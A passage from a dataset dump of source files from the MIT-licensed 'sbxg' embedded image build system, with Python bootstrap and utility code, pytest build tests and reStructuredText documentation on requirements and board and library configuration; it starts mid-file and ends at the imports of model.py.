\"--board\", \"cubietruck\",\n \"--toolchain\", toolchain,\n \"--no-download\",\n ]\n if variant is not None:\n cmd.extend(['--board-variant', variant])\n subprocess.check_call(cmd, cwd=env.build_dir)\n\n\n\[email protected](\"source\", [\"linux-4.12.0\"])\[email protected](\"config\", [\n \"linux-4.12-sunxi\", \"linux-4.12-sunxi-xen-dom0\", \"linux-4.12-xen-domu\"\n])\[email protected](\"toolchain\", [\"armv7-eabihf\"])\ndef test_bootstrap_kernel_only(env, source, config, toolchain):\n build_dir = tempfile.TemporaryDirectory()\n subprocess.check_call([\n sys.executable,\n os.path.join(TOP_SRC_DIR, \"bootstrap.py\"),\n \"--kernel\", source, config,\n \"--toolchain\", toolchain,\n \"--no-download\",\n ], cwd=build_dir.name)\n\[email protected](\"source\", [\"2017.07\"])\[email protected](\"config\", [\"2017.07-minimal\"])\[email protected](\"toolchain\", [\"armv7-eabihf\"])\ndef test_bootstrap_uboot_only(env, source, config, toolchain):\n build_dir = tempfile.TemporaryDirectory()\n subprocess.check_call([\n sys.executable,\n os.path.join(TOP_SRC_DIR, \"bootstrap.py\"),\n \"--uboot\", source, config,\n \"--toolchain\", toolchain,\n \"--no-download\",\n ], cwd=build_dir.name)\n\[email protected](\"source\", [\"4.8.2\"])\[email protected](\"config\", [\"4.8-sunxi\"])\[email protected](\"toolchain\", [\"armv7-eabihf\"])\ndef test_bootstrap_xen_only(env, source, config, toolchain):\n build_dir = tempfile.TemporaryDirectory()\n subprocess.check_call([\n sys.executable,\n os.path.join(TOP_SRC_DIR, \"bootstrap.py\"),\n \"--xen\", source, config,\n \"--toolchain\", toolchain,\n \"--no-download\",\n ], cwd=build_dir.name)\n"
},
{
"alpha_fraction": 0.6449314951896667,
"alphanum_fraction": 0.6663013696670532,
"avg_line_length": 36.62886428833008,
"blob_id": "7f01cd518ca1812908d949df3c26bbfabc06d4f7",
"content_id": "19a3c916d04be3552ec512420e2cb97c60202247",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3650,
"license_type": "permissive",
"max_line_length": 82,
"num_lines": 97,
"path": "/sbxg/utils.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport os\nimport subprocess\n\n\n# This is derivated from https://stackoverflow.com/a/287944\n# I don't want to use a module just for color, as this is an extra dependency\n# that adds more failure paths. SBXG will only run on Linux anyway, as we are\n# compiling U-Boot and Linux. We can still stop echoing colors on demand.\nANSI_STYLE = {\n 'header': '\\033[95m',\n 'okblue': '\\033[94m',\n 'okgreen': '\\033[92m',\n 'warning': '\\033[93m',\n 'fail': '\\033[91m',\n 'endc': '\\033[0m',\n 'bold': '\\033[1m',\n 'underline': '\\033[4m',\n}\n\ndef get_board_config(search_dirs, board, filename):\n filename = filename + '.yml'\n board_cfg = os.path.join(board, filename)\n for search_dir in search_dirs:\n config_file = os.path.join(search_dir, board_cfg)\n if os.path.isfile(config_file):\n return config_file, os.path.join(search_dir, board)\n raise FileNotFoundError(board_cfg)\n\ndef _get_lib_config(lib_dirs, kind, component, filename):\n for lib_dir in lib_dirs:\n config = os.path.join(lib_dir, kind, component, filename)\n if os.path.isfile(config):\n return config\n raise FileNotFoundError(filename)\n\ndef get_toolchain(lib_dirs, toolchain):\n return _get_lib_config(lib_dirs, \"sources\", \"toolchain\", toolchain + '.yml')\n\ndef get_kernel_source(lib_dirs, kernel):\n return _get_lib_config(lib_dirs, \"sources\", \"kernel\", kernel + '.yml')\n\ndef get_kernel_config(lib_dirs, kernel):\n return _get_lib_config(lib_dirs, \"configs\", \"kernel\", kernel)\n\ndef get_uboot_source(lib_dirs, uboot):\n return _get_lib_config(lib_dirs, \"sources\", \"uboot\", uboot + '.yml')\n\ndef get_uboot_config(lib_dirs, uboot):\n return _get_lib_config(lib_dirs, \"configs\", \"uboot\", uboot)\n\ndef get_xen_source(lib_dirs, xen):\n return _get_lib_config(lib_dirs, \"sources\", \"xen\", xen + '.yml')\n\ndef get_xen_config(lib_dirs, xen):\n return _get_lib_config(lib_dirs, \"configs\", \"xen\", xen)\n\ndef get_arch():\n \"\"\"\n Returns the arch as it is determined by Linux. What is below is the rewritting\n of the SUBARCH variable assignment in Linux' top-level Makefile.\n \"\"\"\n return subprocess.check_output(\n \"uname -m | sed\"\n \" -e s/i.86/x86/\"\n \" -e s/x86_64/x86/\"\n \" -e s/sun4u/sparc64/\"\n \" -e s/arm.*/arm/\"\n \" -e s/sa110/arm/\"\n \" -e s/s390x/s390/\"\n \" -e s/parisc64/parisc/\"\n \" -e s/ppc.*/powerpc/\"\n \" -e s/mips.*/mips/\"\n \" -e s/sh[234].*/sh/\"\n \" -e s/aarch64.*/arm64/\",\n shell=True,\n universal_newlines=True\n ).rstrip()\n"
},
{
"alpha_fraction": 0.6096020340919495,
"alphanum_fraction": 0.612058699131012,
"avg_line_length": 39.13239288330078,
"blob_id": "926979987a1d7f2f968b90305f593ca078b8baa1",
"content_id": "686ebd32ac1ffa88adab56916954597d927afbc3",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14247,
"license_type": "permissive",
"max_line_length": 82,
"num_lines": 355,
"path": "/sbxg/__main__.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport argparse\nimport os\nimport shutil\nimport sys\n\nimport sbxg\nfrom sbxg.utils import ANSI_STYLE\nfrom sbxg import error as E\n\n\ndef show_library(board_dirs, lib_dirs):\n \"\"\"\n Dump the board and lib path's contents.\n \"\"\"\n\n # First, go through the board directories to see the boards that\n # are available.\n print(\"List of available boards (with variants):\")\n for board_dir in board_dirs:\n # Boards are directories that reside directly with a board dir\n boards = os.listdir(board_dir)\n for board in boards:\n print(\" - {}{}{}\".format(\n ANSI_STYLE['okblue'], board, ANSI_STYLE['endc']\n ), end='')\n # Search with the board directory for variants. Variants are\n # .yml files, and exclude board.yml.\n file_list = os.listdir(os.path.join(board_dir, board))\n variants = []\n for variant in file_list:\n if variant.endswith(\".yml\") and variant != \"board.yml\":\n variants.append(os.path.splitext(variant)[0])\n if len(variants) > 0:\n print(' (', end='')\n for variant in variants:\n print(\" {}{}{}\".format(ANSI_STYLE['okgreen'], variant,\n ANSI_STYLE['endc']), end='')\n print(' )')\n else:\n print(\"\")\n\n # Then, grab the list of sources, for each lib dir in the lib path.\n # We will search in the sources directory with these paths.\n print(\"\\nList of sources:\")\n for lib_dir in lib_dirs:\n for root, _, files in os.walk(os.path.join(lib_dir, \"sources\")):\n for item in files:\n # We search for .yml files only\n if item.endswith('.yml'):\n item_type = os.path.basename(root)\n item = os.path.splitext(item)[0]\n print(\" - {}{}{}: {}{}{}\".format(\n ANSI_STYLE['okblue'], item_type, ANSI_STYLE['endc'],\n ANSI_STYLE['okgreen'], item, ANSI_STYLE['endc'],\n ))\n\n # And finally, do the same for configurations.\n print(\"\\nList of configurations:\")\n for lib_dir in lib_dirs:\n for root, _, files in os.walk(os.path.join(lib_dir, \"configs\")):\n for item in files:\n # We search for .yml files only\n if os.path.isfile(os.path.join(root, item)):\n item_type = os.path.basename(root)\n # Remove the \"s\" to \"bootscripts\" for pretty print\n if item_type == \"bootscripts\":\n item_type = \"bootscript\"\n # Remove the .j2 extensions\n if item.endswith(\".j2\"):\n item = os.path.splitext(item)[0]\n print(\" - {}{}{}: {}{}{}\".format(\n ANSI_STYLE['okblue'], item_type, ANSI_STYLE['endc'],\n ANSI_STYLE['okgreen'], item, ANSI_STYLE['endc'],\n ))\n\ndef install_rootfs(rootfs, dest):\n if os.path.isfile(rootfs):\n shutil.copy(rootfs, dest)\n else:\n raise E.SbxgError(\"Rootfs file '{}' does not exist\".format(rootfs))\n\n\ndef getopts(argv):\n parser = argparse.ArgumentParser(description='SBXG Boostrapper')\n parser.add_argument(\n '--subcomponent', type=str, default='subcomponent',\n help='Provide the path to the subcomponent program'\n )\n parser.add_argument(\n '--no-download', '-n', action='store_true',\n help=\"Don't make subcomponent download the components\"\n )\n parser.add_argument(\n '--no-color', action='store_true',\n help='Disable colored output when this option is specified'\n )\n parser.add_argument(\n '--kernel', nargs=2, metavar='FILE',\n help=\"\"\"specifying this option makes SBXG to only build a kernel.\n Xen does not fall under this category.\n A toolchain must be specified\"\"\"\n )\n parser.add_argument(\n '--xen', nargs=2, metavar='FILE',\n help=\"\"\"specifying this option makes SBXG to only build a Xen kernel.\n A toolchain must be specified\"\"\"\n )\n parser.add_argument(\n '--uboot', nargs=2, metavar='FILE',\n help=\"\"\"specifying this option makes SBXG to only build U-Boot.\n A toolchain must be specified\"\"\"\n )\n parser.add_argument(\n '--toolchain', type=str, metavar='TOOLCHAIN',\n help=\"\"\"specify a toolchain to be used outside of the board execution.\n This option must be specified when building a component on demand.\"\"\"\n )\n parser.add_argument(\n '--board', '-B', type=str,\n help=\"\"\"Name of an SBXG board that reside within a directory specified\n by the --board-dir arguments\"\"\"\n )\n parser.add_argument(\n '--board-variant', '-b', type=str,\n help=\"\"\"Name of a variant configuration for a selected board. If none\n is provided, a default configuration will be used\"\"\"\n )\n parser.add_argument(\n '--board-dir', nargs='+',\n help=\"\"\"Add a directory to the boards search path. When this argument\n is not specified, the boards/ directory of SBXG will be used\"\"\"\n )\n parser.add_argument(\n '--lib-dir', '-L', nargs='+',\n help=\"\"\"Add a directory to the library search path. When this argument\n is not specified, the lib/ directory of SBXG will be used\"\"\"\n )\n parser.add_argument(\n '--show-library', action='store_true',\n help=\"Prints in stdout the library of available components and exits\"\n )\n args = parser.parse_args(argv[1:])\n\n # If we required no colors to be printed out, unset the ANSI codes that\n # were provided.\n if args.no_color:\n for key in ANSI_STYLE:\n ANSI_STYLE[key] = ''\n\n # If --board-variant is used, --board must have been specified\n if args.board and not args.toolchain:\n raise E.SbxgError(\"--board requires the use of --toolchain\")\n if args.board_variant and not args.board:\n raise E.SbxgError(\"--board-variant cannot be used without --board\")\n if args.kernel and args.board:\n raise E.SbxgError(\"--kernel and --board cannot be used together\")\n if args.xen and args.board:\n raise E.SbxgError(\"--xen and --board cannot be used together\")\n if args.uboot and args.board:\n raise E.SbxgError(\"--uboot and --board cannot be used together\")\n if args.kernel and not args.toolchain:\n raise E.SbxgError(\"--kernel requires the use of --toolchain\")\n if args.uboot and not args.toolchain:\n raise E.SbxgError(\"--uboot requires the use of --toolchain\")\n if args.xen and not args.toolchain:\n raise E.SbxgError(\"--xen requires the use of --toolchain\")\n\n if not args.board and not args.kernel and not args.uboot and not args.xen \\\n and not args.show_library:\n raise E.SbxgError(\"At least one of the following option is expected: \"\n \"--board, --kernel, --uboot, --xen\")\n\n return args\n\n\ndef main(argv):\n args = getopts(argv)\n\n # The top source directory is where this script resides, whereas the build\n # directory is where this script was called from.\n top_src_dir = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n top_build_dir = os.getcwd()\n\n # The default board directory search path is boards/\n if not args.board_dir:\n args.board_dir = [os.path.join(top_src_dir, \"boards\")]\n\n # The default lib directory search path is lib/\n if not args.lib_dir:\n args.lib_dir = [os.path.join(top_src_dir, \"lib\")]\n\n # Dump the library, and exit with success\n if args.show_library:\n show_library(args.board_dir, args.lib_dir)\n sys.exit(0)\n\n # Initialize the templates directory to the one contained within SBXG\n template_dirs = [os.path.join(top_src_dir, \"templates\")]\n components = []\n\n # I forbid you to use the source directory as the build directory!\n if os.path.normpath(top_src_dir) == os.path.normpath(top_build_dir):\n raise E.SbxgError(\"Run bootstrap.py from a build directory that is \"\n \"distinct from the source directory.\")\n sys.exit(1)\n\n # The lib dirs provide a template path. We must add them!\n for lib_dir in args.lib_dir:\n bootscript_path = os.path.join(lib_dir, \"configs\", \"bootscripts\")\n if os.path.exists(bootscript_path):\n template_dirs.append(bootscript_path)\n\n # The main database that will hold our configuration\n database = sbxg.model.Database(top_src_dir, top_build_dir)\n\n if args.toolchain:\n args.toolchain = sbxg.utils.get_toolchain(\n args.lib_dir, args.toolchain\n )\n local_toolchain = False\n if os.path.basename(args.toolchain) == \"local.yml\":\n local_toolchain = True\n\n toolchain = sbxg.model.Toolchain(args.toolchain, local_toolchain)\n toolchain.load()\n database.set_toolchain(toolchain)\n if not local_toolchain:\n components.append('toolchain')\n\n if args.board:\n # Select the configuration file for the previously selected board. It\n # is either 'board.yml' for the default configuration, or another yaml\n # file if a variant is provided. Fail if the configuration file does\n # not exist.\n config, board_dir = sbxg.utils.get_board_config(\n args.board_dir,\n args.board,\n args.board_variant if args.board_variant else 'board'\n )\n board = sbxg.model.Board(config, toolchain)\n board.load(args.lib_dir, board_dir)\n database.set_board(board)\n # Copy the rootfs to the input path of genimage\n components.extend(['kernel', 'genimage'])\n if not board.vm:\n components.append('uboot')\n template_dirs.append(os.path.join(board_dir, 'images'))\n if board.xen:\n components.append('xen')\n\n if args.kernel:\n args.kernel[0] = sbxg.utils.get_kernel_source(\n args.lib_dir, args.kernel[0]\n )\n args.kernel[1] = sbxg.utils.get_kernel_config(\n args.lib_dir, args.kernel[1]\n )\n kernel_source = sbxg.model.Kernel(args.kernel[0])\n kernel_source.load()\n kernel_config = args.kernel[1]\n database.set_kernel(kernel_source, kernel_config)\n components.append('kernel')\n\n if args.uboot:\n args.uboot[0] = sbxg.utils.get_uboot_source(\n args.lib_dir, args.uboot[0]\n )\n args.uboot[1] = sbxg.utils.get_uboot_config(\n args.lib_dir, args.uboot[1]\n )\n uboot_source = sbxg.model.Uboot(args.uboot[0])\n uboot_source.load()\n uboot_config = args.uboot[1]\n database.set_uboot(uboot_source, uboot_config)\n components.append('uboot')\n\n if args.xen:\n args.xen[0] = sbxg.utils.get_xen_source(\n args.lib_dir, args.xen[0]\n )\n args.xen[1] = sbxg.utils.get_xen_config(\n args.lib_dir, args.xen[1]\n )\n xen_source = sbxg.model.Xen(args.xen[0])\n xen_source.load()\n xen_config = args.xen[1]\n database.set_xen(xen_source, xen_config)\n components.append('xen')\n\n # Now that we are done collecting the data from the configurations, and we\n # have fed our data model, initialize the templating engine.\n templater = sbxg.template.Templater(database, template_dirs)\n\n # Fetch the required components\n subcomponent = sbxg.subcomponent.Subcomponent(templater, args.subcomponent)\n subcomponent.add_components(components)\n subcomponent.call(top_build_dir, no_download=args.no_download)\n\n # If we are to use genimage, create right now the directories that genimage\n # will need.\n if database.genimage:\n keys = ['build_dir', 'output_path', 'input_path', 'root_path', 'tmp_path']\n for key in keys:\n gen_dir = database.genimage[key]\n if not os.path.exists(gen_dir):\n os.makedirs(gen_dir)\n genimage_in = database.genimage['input_path']\n if database.board:\n install_rootfs(database.board.rootfs, genimage_in)\n\n if database.board:\n # Generate the boot script from a template, if one was specified. This\n # generated bootscript will just be a templated file. When dealing with\n # U-Boot bootscript, the generated makefile will create the final\n # boot script with tools like mkimage.\n boot_cmd = os.path.join(\n top_build_dir,\n database.board.templated_boot_script_name\n )\n if not database.board.vm:\n templater.template_file(database.board.boot_script, boot_cmd)\n\n # And finally generate the genimage configuration\n templater.template_file(\n os.path.basename(database.board.image),\n database.genimage['config']\n )\n\n # Generate the makefile, which will control the build system\n templater.template_file(\n \"Makefile.j2\", os.path.join(top_build_dir, \"Makefile\")\n )\n\nif __name__ == \"__main__\":\n main(sys.argv)\n"
},
{
"alpha_fraction": 0.7221361994743347,
"alphanum_fraction": 0.7267801761627197,
"avg_line_length": 32.128204345703125,
"blob_id": "b8805e2a76a04d26ab811e217d3696e23b5d9188",
"content_id": "ed80b75f7171325f1fdf548e5b502da85e58bd0a",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 1292,
"license_type": "permissive",
"max_line_length": 83,
"num_lines": 39,
"path": "/doc/requirements.rst",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "SBXG Requirements\n=================\n\n**Python**\n SBXG relies on third-party tools to fulfull its duty. Its core is written\n with Python_. Python 2.7 will do, but it is advised to use Python 3.4 or\n later.\n\n**Make**\n SBXG bootstraps its build system, by generating a Makefile. Therefore,\n ``make`` (only GNU make is tested) is a strong requirement for SBXG.\n\n**Subcomponent**\n Subcomponent_ is used to fetch the components that SBXG depends on. It is\n packaged as a cargo crate, and therefore can be installed directly from\n cargo.\n\n**mkfs (ext3, vfat)**\n To generate an image, mkfs (ext3 and vfat) will be required.\n\n**autotools**\n SBXG will build from sources a package that uses the autotools. As such, the\n autotools programs needs to be installed (e.g. autoconf, automake, ...)\n\n**kernel build essentials**\n SBXG will compile the Linux Kernel and U-Boot. Hence, such a development\n environment shall be installed.\n\n\nPackages Installation\n=====================\n\nSBXG provides per GNU/Linux distribution scripts to install the necessary packages.\nThey are contained within the ``utils/`` directory, in the top source directory.\nRun the script associated to your distribution.\n\n\n.. _Python: https://www.python.org/\n.. _Subcomponent: https://github.com/subcomponent/subcomponent\n"
},
{
"alpha_fraction": 0.6211828589439392,
"alphanum_fraction": 0.644375741481781,
"avg_line_length": 29.25731086730957,
"blob_id": "55082ec09d66fd1234a018d2cadc30ed774b78fc",
"content_id": "4c8ffc4d49d04e6694d8d6f23d6bd0acd394755b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 5602,
"license_type": "permissive",
"max_line_length": 84,
"num_lines": 171,
"path": "/doc/config.rst",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "SBXG Configuration\n==================\n\nSBXG relies on two search paths that provide its configuration:\n\n* the ``board`` search path and\n* the ``lib`` search path.\n\nThese two concepts will be explained in further details in the following\nsections. If no search path is specified, SBXG will assume the directories\n``board/`` and ``lib/`` in the source source directory of SBXG.\n\n\nSearch Path\n-----------\n\nSBXG's configuration consist in a collection of structured files. These\nstructures reside in entries called the *search paths*.\n\nIf one needs to develop its own configuration, and wish to make it private\n(outside of SBXG), it shall replicate the file hierarchy described in the\nfollowing sections, and set the search paths to the directorys containing this\nnew hierarchy.\n\nThe first *search path* is the **library**. It contains configurations files\nthat allow to retrieve and compile the various components that SBXG supports.\n\nThe second *search path* consists of **boards** configurations. These are files\nthat describe how several components shall be aggregate together to generate a\nsingle firmware image. If you want to only build components without creating\na firmware image, you do not need this.\n\nYou can call the ``--show-lib`` option of the ``bootstrap.py`` script to print\nthe files that SBXG will look for. For example, from SBXG top source directory:\n\n.. code::\n\n $ ./boostrap.py --show-lib\n List of available boards (with variants):\n - cubietruck ( xen )\n - virtual ( vexpress-v7 )\n - orangepi-zero\n\n List of sources:\n - uboot: 2017.07\n - xen: 4.8.2\n - toolchain: local\n - toolchain: armv7-eabihf\n - kernel: linux-4.14.8\n - kernel: linux-4.14.6\n - kernel: linux-4.14.17\n - kernel: linux-4.12.0\n - busybox: 1.27.1\n\n List of configurations:\n - bootscript: boot-sunxi-default\n - bootscript: boot-sunxi-xen\n - uboot: 2017.07-minimal\n - xen: 4.8-sunxi\n - kernel: linux-4.12-sunxi\n - kernel: linux-4.12-sunxi-xen-dom0\n - kernel: linux-4.14-sunxi-xen-dom0\n - kernel: linux-4.12-xen-domu\n - kernel: linux-4.14-xen-domu\n - busybox: minimal\n\n\nWhen providing configuration or source files to SBXG, you will need to pass one\nof these files.\n\n\nSBXG's Board Directory\n----------------------\n\nFirst, let's start with an example:\n\n.. code::\n\n boards/\n ├── cubietruck\n │ ├── board.yml\n │ ├── images\n │ │ └── default.j2\n │ └── xen.yml\n ├── orangepi-zero\n │ ├── board.yml\n │ └── images\n │ └── default.j2\n └── virtual\n ├── images\n │ └── guest.j2\n └── vexpress-v7.yml\n\n\nEach subdirectory in ``boards/`` (which is the default directory searched by\nSBXG) holds the configuration files for a given board. In our example, we have three\nsupported boards:\n\n* Cubietruck_,\n* OrangePiZero_,\n* virtual (as a based to build virtual machines).\n\nWithin each of these directories ``board.yml`` is the default configuration\nfile that describes how different components are aggregated together. You may\nwant to have several configurations. These are called *variants* in SBXG's\nterminology. An example is given by ``cubietruck/xen.yml``, which is an\nalternative configuration to ``cubietruck/board.yml``. Notice the directories\n``images/``. They contain genimage_ configuration and describe the layout of\nthe firmware image.\n\n\nSBXG's Library Directory\n------------------------\n\nFirst, let's start with an example:\n\n.. code::\n\n lib\n ├── configs\n │ ├── bootscripts\n │ │ ├── boot-sunxi-default.j2\n │ │ └── boot-sunxi-xen.j2\n │ ├── busybox\n │ │ └── minimal\n │ ├── kernel\n │ │ ├── linux-4.12-sunxi\n │ │ ├── linux-4.12-sunxi-xen-dom0\n │ │ ├── linux-4.12-xen-domu\n │ │ ├── linux-4.14-sunxi-xen-dom0\n │ │ └── linux-4.14-xen-domu\n │ ├── uboot\n │ │ └── 2017.07-minimal\n │ └── xen\n │ └── 4.8-sunxi\n └── sources\n ├── busybox\n │ └── 1.27.1.yml\n ├── kernel\n │ ├── linux-4.12.0.yml\n │ ├── linux-4.14.17.yml\n │ ├── linux-4.14.6.yml\n │ └── linux-4.14.8.yml\n ├── toolchain\n │ ├── armv7-eabihf.yml\n │ └── local.yml\n ├── uboot\n │ └── 2017.07.yml\n └── xen\n └── 4.8.2.yml\n\nThere are two directories within the library search path:\n\n* ``sources/``: where configurations to fetch components reside:\n * ``busybox/``: to retrieve Busybox_\n * ``kernel/``: to retrive the principal kernel (e.g. Linux base or Xen Dom 0),\n * ``toolchain/``: to retrive the compilation toolchain,\n * ``uboot/``: to retrive the boot loader,\n * ``xen/``: to retrieve the Xen ARM hypervisor.\n* ``configs/``: where configurations to compile components reside:\n * ``bootscripts/``: available boot scripts ,\n * ``busybox/``: per-Busybox version configurations,\n * ``kernel/``: per-Linux version configurations,\n * ``u-boot/``: per-U-boot version configurations,\n * ``xen/``: per-Xen version configurations.\n\n\n.. _Cubietruck: https://linux-sunxi.org/Cubietruck\n.. _OrangePiZero: http://linux-sunxi.org/Xunlong_Orange_Pi_Zero\n.. _genimage: https://github.com/pengutronix/genimage\n.. _Busybox: https://busybox.net\n"
},
{
"alpha_fraction": 0.7404371500015259,
"alphanum_fraction": 0.7459016442298889,
"avg_line_length": 42.57143020629883,
"blob_id": "3f1f7426e1e58f0e018a3da4c58dfdf2dbea363a",
"content_id": "3f66d9afee7b9fef330d283c29edd5582161f404",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1830,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 42,
"path": "/tests/test_boards.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport os\nimport pytest\nimport subprocess\nimport sys\n\[email protected](\"variant\", [\"xen\", \"board\"])\ndef test_cubietruck(env, variant):\n \"\"\"Build the cubietruck board with several variants\"\"\"\n env.bootstrap_board(\"cubietruck\", \"armv7-eabihf\", variant)\n env.run_make(\"-j2\")\n\[email protected](\"variant\", [\"vexpress-v7\"])\ndef test_virtual(env, variant):\n \"\"\"Build the virtual board with several variants\"\"\"\n env.bootstrap_board(\"virtual\", \"armv7-eabihf\", variant)\n env.run_make()\n\[email protected](\"variant\", [\"board\"])\ndef test_orangepi_zero(env, variant):\n \"\"\"Build the orange-pi board with several variants\"\"\"\n env.bootstrap_board(\"orangepi-zero\", \"armv7-eabihf\", variant)\n env.run_make(\"-j2\")\n"
},
{
"alpha_fraction": 0.7496100068092346,
"alphanum_fraction": 0.7503899931907654,
"avg_line_length": 34.61111068725586,
"blob_id": "9064d9e0eae5a878d59afff4419e3b4ad108e417",
"content_id": "f21751b2789f44f4aa5898ebc7319e70ac8a43a9",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 1282,
"license_type": "permissive",
"max_line_length": 77,
"num_lines": 36,
"path": "/doc/index.rst",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "SBXG's documentation\n====================\n\nSBXG is a build system that generates bootable images for embedded devices.\nThe images generation is highly customizable, but is mainly composed of:\n\n* a bootloader: U-Boot_,\n* a kernel: Linux_,\n* and a foreign root file system (e.g. generated with DFT_ or Debootstrap_).\n\nAll components but the toolchain are built from source, with a configuration\nfile enforced by version. This allows SBXG users to rely on the sources and\ntheir own (or pre-packaged) configurations, instead of a black box downloaded\nfrom untrusted sources.\n\nSBXG provides default configurations for some boards, toolchains, kernels and\nu-boot, to demonstrate its capabilities, but one of its goal is to be able to\nuse opaque (private) user configurations that can leave outside of SBXG\n(e.g. reside in a dedicated source control repository).\n\nThis guide explains in details how to hack SBXG to develop your own\nconfigurations, to forge system software for your embedded boards.\n\n.. toctree::\n :maxdepth: 2\n :caption: Contents:\n\n requirements.rst\n startup.rst\n how-to.rst\n config.rst\n\n.. _U-Boot: https://www.denx.de/wiki/U-Boot\n.. _Linux: https://www.kernel.org/\n.. _DFT: https://github.com/wbonnet/dft\n.. _Debootstrap: https://wiki.debian.org/Debootstrap\n"
},
{
"alpha_fraction": 0.5895277857780457,
"alphanum_fraction": 0.590518057346344,
"avg_line_length": 34.74336242675781,
"blob_id": "ec78a654f89dda6a2ee63ca147546f9e8e79c3c9",
"content_id": "b453daec029576cb9ddb5f366276d01e6fb64e7f",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 16157,
"license_type": "permissive",
"max_line_length": 93,
"num_lines": 452,
"path": "/sbxg/model.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport abc\nimport collections\nimport 